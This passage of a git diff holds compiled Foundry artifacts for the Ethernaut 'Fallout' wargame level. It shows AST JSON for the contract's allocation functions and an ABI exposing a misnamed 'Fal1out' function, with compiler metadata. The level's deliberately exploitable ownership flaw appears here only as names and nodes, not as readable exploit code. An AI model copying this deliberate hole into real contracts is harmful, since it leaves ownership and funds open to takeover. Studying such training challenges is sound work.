payable"}},"id":1007,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":null,"src":"730:18:6","typeDescriptions":{"typeIdentifier":"t_function_transfer_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256)"}},"id":1011,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"730:42:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1012,"nodeType":"ExpressionStatement","src":"730:42:6"}]},"documentation":null,"functionSelector":"a2dea26f","implemented":true,"kind":"function","modifiers":[],"name":"sendAllocation","overrides":null,"parameters":{"id":995,"nodeType":"ParameterList","parameters":[{"constant":false,"id":994,"mutability":"mutable","name":"allocator","nodeType":"VariableDeclaration","overrides":null,"scope":1014,"src":"641:25:6","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":993,"name":"address","nodeType":"ElementaryTypeName","src":"641:15:6","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"value":null,"visibility":"internal"}],"src":"640:27:6"},"returnParameters":{"id":996,"nodeType":"ParameterList","parameters":[],"src":"675:0:6"},"scope":1045,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":1032,"nodeType":"FunctionDefinition","src":"785:106:6","nodes":[],"body":{"id":1031,"nodeType":"Block","src":"832:59:6","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1026,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"870:4:6","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$1045","typeString":"contract Fallout"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Fallout_$1045","typeString":"contract Fallout"}],"id":1025,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"862:7:6","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":1024,"name":"address","nodeType":"ElementaryTypeName","src":"862:7:6","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":1027,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"862:13:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":1028,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"balance","nodeType":"MemberAccess","referencedDeclaration":null,"src":"862:21:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":1019,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"842:3:6","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":1022,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"842:10:6","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":1023,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":null,"src":"842:19:6","typeDescriptions":{"typeIdentifier":"t_function_transfer_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256)"}},"id":1029,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"842:42:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1030,"nodeType":"ExpressionStatement","src":"842:42:6"}]},"documentation":null,"functionSelector":"8aa96f38","implemented":true,"kind":"function","modifiers":[{"arguments":null,"id":1017,"modifierName":{"argumentTypes":null,"id":1016,"name":"onlyOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":974,"src":"822:9:6","typeDescriptions":{"typeIdentifier":"t_modifier$__$","typeString":"modifier ()"}},"nodeType":"ModifierInvocation","src":"822:9:6"}],"name":"collectAllocations","overrides":null,"parameters":{"id":1015,"nodeType":"ParameterList","parameters":[],"src":"812:2:6"},"returnParameters":{"id":1018,"nodeType":"ParameterList","parameters":[],"src":"832:0:6"},"scope":1045,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":1044,"nodeType":"FunctionDefinition","src":"897:121:6","nodes":[],"body":{"id":1043,"nodeType":"Block","src":"972:46:6","nodes":[],"statements":[{"expression":{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":1039,"name":"allocations","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":944,"src":"989:11:6","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":1041,"indexExpression":{"argumentTypes":null,"id":1040,"name":"allocator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1034,"src":"1001:9:6","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"989:22:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":1038,"id":1042,"nodeType":"Return","src":"982:29:6"}]},"documentation":null,"functionSelector":"ffd40b56","implemented":true,"kind":"function","modifiers":[],"name":"allocatorBalance","overrides":null,"parameters":{"id":1035,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1034,"mutability":"mutable","name":"allocator","nodeType":"VariableDeclaration","overrides":null,"scope":1044,"src":"923:17:6","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1033,"name":"address","nodeType":"ElementaryTypeName","src":"923:7:6","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"922:19:6"},"returnParameters":{"id":1038,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1037,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":1044,"src":"963:7:6","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1036,"name":"uint256","nodeType":"ElementaryTypeName","src":"963:7:6","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"962:9:6"},"scope":1045,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"contractDependencies":[],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[1045],"name":"Fallout","scope":1046}],"license":"MIT"},"id":6} \ No newline at end of file diff --git a/contracts/out/Fallout.t.sol/Fallout.json b/contracts/out/Fallout.t.sol/Fallout.json new file mode 100644 index 000000000..7608d4898 --- /dev/null +++ b/contracts/out/Fallout.t.sol/Fallout.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"Fal1out","inputs":[],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"Fal1out()":"6fab5ddf"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"Fal1out\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Fallout.t.sol\":\"Fallout\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/Dummy.sol\":{\"keccak256\":\"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339\",\"dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD\"]},\"src/levels/DummyFactory.sol\":{\"keccak256\":\"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f\",\"dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Fallout.t.sol\":{\"keccak256\":\"0x32cd06c5eaab7cd2ef1ee5908b18857eb670a45fcf9d969e7e9cd178fedb4ab6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://e2f8cd4d253d889995bcc958d1985b6842b86fcd3e01173966e4bbe7e0ee6965\",\"dweb:/ipfs/QmWuZGScN24R23cNrtBsJFr5ws5ugVhWP4eUfArkixU1r2\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"Fal1out"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Fallout.t.sol":"Fallout"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2"